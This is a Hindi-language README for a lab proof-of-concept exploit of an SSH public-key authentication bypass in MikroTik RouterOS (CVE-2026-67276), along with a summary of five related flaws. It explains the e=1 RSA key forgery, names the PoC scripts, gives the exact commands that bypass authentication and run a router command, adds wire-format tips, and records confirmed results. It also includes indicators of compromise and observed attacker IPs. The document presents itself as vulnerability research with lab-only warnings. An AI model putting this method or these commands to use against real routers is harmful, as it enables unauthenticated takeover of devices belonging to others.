
CVE-2026-67276 RouterOS SSH सार्वजनिक-कुंजी प्रमाणीकरण बायपास लैब PoC
केवल लैब उपयोग के लिए। केवल उन RouterOS इंस्टेंस के विरुद्ध चलाएँ जिनके आप स्वामी हैं। उन डिवाइसों पर हमला करना जिनके आप स्वामी नहीं हैं, एक अपराध है (CFAA, पोलिश कला. 267, समकक्ष)।
CERT PL (2026-09-05) ने छह RouterOS कमजोरियों का खुलासा किया, जिनका सक्रिय रूप से जंगल में श्रृंखला "MikroTrick" के रूप में शोषण किया गया (जब SSH इंटरनेट-सुलभ हो तो बिना प्रमाणीकरण के पूर्ण डिवाइस अधिग्रहण)। MikroTik द्वारा 2026-09-03 को 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21 में ठीक किया गया।
| CVE | प्रकार | मुख्य दोष |
|---|
| 2026-67276 | CWE-347 (यह PoC) | SSH userauth कुंजी मिलान जाँच (कुंजी प्रकार, मापांक) लेकिन घातांक को छोड़ देती है; हस्ताक्षर सत्यापन क्लाइंट-आपूर्ति कुंजी का उपयोग करता है ⇒ e=1 जालसाजी |
| 2026-86060 | CWE-88 | निषिद्ध वर्ण (-2 हमले के लॉग में देखा गया) से शुरू होने वाले उपयोगकर्ता नाम के माध्यम से तर्क इंजेक्शन ⇒ नीति-मास्क परिवर्तन ⇒ विशेषाधिकार वृद्धि |
| 2026-67279 | CWE-841 | SSH बिना पूर्ण userauth के क्लाइंट-अनुरोधित rekey के बाद कनेक्शन प्रोटोकॉल में प्रवेश करता है ⇒ फ़ाइल नेमस्पेस में बिना प्रमाणीकरण के exec |
| 2026-67277 | CWE-306 | bandwidth-test pre-auth स्थिति + uninit बफर प्रकटीकरण + आकार-अंडरफ्लो ⇒ कर्नेल मेमोरी लीक / पुनरारंभ |
| 2026-67278 | CWE-347 | X.509 दोषपूर्ण RSA/PKCS#1v1.5 हस्ताक्षर स्वीकार करता है; e=3 ट्रस्ट एंकर ⇒ विश्वसनीय मध्यवर्ती जालसाजी |
| 2026-67281 | CWE-824 | WebFig /jsproxy पुराना uninitialized प्रिंसिपल पॉइंटर + पथ एस्केप ⇒ रूट फ़ाइल पढ़ना |
कमजोर श्रेणियाँ (सभी छह): [7.24, 7.24.2), [7.0.0, 7.23.4), [6.0.0, 6.49.21)।
{ssh-rsa, e=1, n=victim} प्रस्तुत करने से sig^1 mod n == sig बनता है, इसलिए
वैध "हस्ताक्षर" केवल EMSA-PKCS1-v1_5(hash, authdata) है — जिसकी गणना कोई भी
कर सकता है जो पीड़ित के सार्वजनिक मापांक को जानता है। कोई निजी कुंजी आवश्यक नहीं।पूर्वापेक्षाएँ (प्रकटीकरण का अपना न्यूनतम): लक्षित उपयोगकर्ता नाम + उस उपयोगकर्ता का अधिकृत RSA सार्वजनिक मापांक।
n (लीक/कैप्चर किए गए
.pub, प्रावधान रिकॉर्ड, या --modulus-hex से)। यह एकमात्र
गुप्त-निकट इनपुट है; निजी कुंजी कभी आवश्यक नहीं।ForgeKey हुक — स्टॉक OpenSSH नहीं कर सकता)।ssh-rsa 6.x पर, rsa-sha2-256
भी 7.x पर)।forge_67276.py — प्रिमिटिव: OpenSSH pubkey पार्सिंग, RFC 8017 EMSA एन्कोडर,
जाली ब्लॉब/हस्ताक्षर बिल्डर, संदर्भ RFC 8017 सत्यापनकर्ता।selftest.py — स्थानीय प्रमाण, कोई राउटर नहीं: एन्कोडर OpenSSL के लिए बाइट-समान
(वास्तविक-हस्ताक्षर व्युत्क्रमण के माध्यम से), जाली हस्ताक्षर e=1 पर सत्यापित होता है और 65537 पर नहीं,
पूर्ण RFC 4252 §7 वायर-शेप सिम। सभी 15 जाँचें PASS।poc_67276.py — paramiko क्लाइंट जो बाईपास करता है (प्रति-कनेक्शन
एल्गोरिथ्म पिनिंग; --lab-i-own-this-target आवश्यक)।console_setup.py — qemu सीरियल टेलनेट पर एक-बार CHR तैयारी
(10.0.2.2 के माध्यम से पीड़ित कुंजी प्राप्त करें, admin के लिए आयात करें, ssh सक्षम करें)।sanity_real_key.py — नियंत्रण: सामान्य pubkey प्रमाणीकरण पहले सफल होना चाहिए।victim_rsa / victim.pub — उत्पन्न डिस्पोजेबल 2048-बिट "पीड़ित" कुंजी जोड़ी;
जानबूझकर Git से बाहर रखा गया।python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
/root/mikrotrick-lab/, होस्ट ब्रिज br0
(192.168.100.1/24) टैप्स tap0-tap3 के साथ; br0 पर प्रति-MAC लीज़ के साथ dnsmasq।| VM | छवि | गेस्ट IP | MAC | Mac-साइड टनल |
|---|---|---|---|---|
| chr-6.49.20 | कमजोर 6.x | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | पैच किया गया 6.x | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | कमजोर 7.x | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | पैच किया गया 7.x | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
labpass123, और admin के लिए आयातित पीड़ित कुंजी। पहले-लॉगिन पर बाध्य पासवर्ड
परिवर्तन SSH (bootstrap_password.py डायलॉग पढ़ता है) या
QEMU मॉनिटर sendkey (mon_type.py) के माध्यम से चलाए गए — CHR का सीरियल कंसोल
डिफ़ॉल्ट रूप से मृत है; VGA कंसोल केवल मॉनिटर screendump के माध्यम से पठनीय है।ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]पुनः चलाएँ (उदाहरण, VM3):
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # बेसलाइन
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
| लक्ष्य | वास्तविक निजी कुंजी (बेसलाइन) | जाली e=1 कुंजी (PoC) |
|---|---|---|
| 7.23.3 | auth OK | auth OK + /system resource print exec — CVE पुष्टि |
| 7.23.4 (पैच किया गया) | auth OK | अस्वीकृत |
| 6.49.20 | auth OK | अस्वीकृत (बारीकी देखें) |
| 6.49.21 (पैच किया गया) | अमान्य बेसलाइन | व्याख्या योग्य नहीं; गेस्ट ने SSH none auth स्वीकार किया |
7.x जोड़ी के लिए, वास्तविक-कुंजी बेसलाइन दोनों बिल्डों पर सफल होती है, SSH none
प्रमाणीकरण अस्वीकृत है, गलत-मापांक जालसाजी 7.23.3 द्वारा अस्वीकृत है,
और सही-मापांक जालसाजी केवल 7.23.3 पर सफल होती है। यह एक वैध
कमजोर-बनाम-पैच किया गया तुलना है।
6.49.21 गेस्ट को स्वतंत्र पुनः सत्यापन के दौरान दस्तावेज़ित रूप से प्रावधानित नहीं किया गया था:
admin समाप्त रहा, /user ssh-keys print detail खाली था,
और एक क्रेडेंशियल-मुक्त SSH none अनुरोध ने कमांड निष्पादित किए। असंबंधित
वास्तविक RSA कुंजियाँ और गलत-मापांक e=1 कुंजियाँ इसलिए भी सफल दिखीं।
इस गेस्ट को पुनः प्रावधानित करें और सत्यापित करें कि none और एक असंबंधित कुंजी अस्वीकृत हैं
इसे पैच किए गए नियंत्रण के रूप में उपयोग करने से पहले।
संस्करण बारीकी: 6.49.20 पर सर्वर-साइड मिलान e=1 ब्लॉब को अस्वीकार करता है
(/log ssh,debug: can't find matching key for user: admin) — प्रकटीकृत
घातांक-छूट 6.x के मिलानकर्ता में देखने योग्य नहीं थी हालाँकि CERT की व्यापक
श्रेणी [6.0.0, 6.49.21) सूचीबद्ध करती है। पुष्टि कमजोर: 7.23.3। पुष्टि
पैच किया गया: 7.23.4। वर्तमान 6.49.21 लैब स्थिति न तो परिणाम साबित करती है। जंगल में
MikroTrick गतिविधि ने भी 7.x डिवाइसों को लक्षित किया।
वायर-प्रारूप निष्कर्ष (RFC 8332): ब्लॉब की आंतरिक प्रकार स्ट्रिंग ssh-rsa ही रहती है
rsa-sha2-256/512 हस्ताक्षर एल्गोरिदम के लिए भी; सिग एल्गोरिथ्म केवल
बाहरी एल्गोरिथ्म फ़ील्ड में जाता है। इसे अनदेखा करने से सर्वर
userauth के बीच में डिस्कनेक्ट हो जाता है (ब्लॉब पार्स त्रुटि) — 6.x और 7.x दोनों पर देखा गया।
PoC का ForgeKey इसे संभालता है, और --exp-enc aligned|canonical टॉगल करता है
e=1 mpint चौड़ाई (1 बनाम 3 बाइट्स)। 7.23.3 पर दोनों चौड़ाई प्रमाणित होती हैं —
मिलानकर्ता घातांक को पार्स करता है और वास्तव में इसके मान को अनदेखा करता है। 6.49.20 पर न तो
प्रमाणित होता है (can't find matching key) — ऊपर संस्करण बारीकी देखें।
सर्वर-साइड /system logging add topics=ssh,debug + /log print पैकेट
हेक्सडंप ने यह सब सतह पर लाया।
इस लैब द्वारा उपयोग किए गए स्रोत छवि संग्रह SHA-256 मान:
a954ab0002a83de5e4c02110f560d0bf622e7d21916088aaacda6baaba88cf4a chr-6.49.20.img.zip
6dcfb8674fa7964bf92ce849fbb0ba8147a5cf3d7a1ba595e24ce3e615569188 chr-6.49.21.img.zip
646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c chr-7.23.3.img.zip
0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d chr-7.23.4.img.zip
login failure for user -2 via ssh,
user <name> added by ssh:-2@<ip>; अज्ञात उच्च-विशेषाधिकार उपयोगकर्ता ops;
/system/device-mode/print "Flagged" मार्कर (समझौते का संकेत देता है, इसकी
अनुपस्थिति कुछ साबित नहीं करती)। देखे गए हमलावर IP: 82.192.72.4, 103.102.31.18।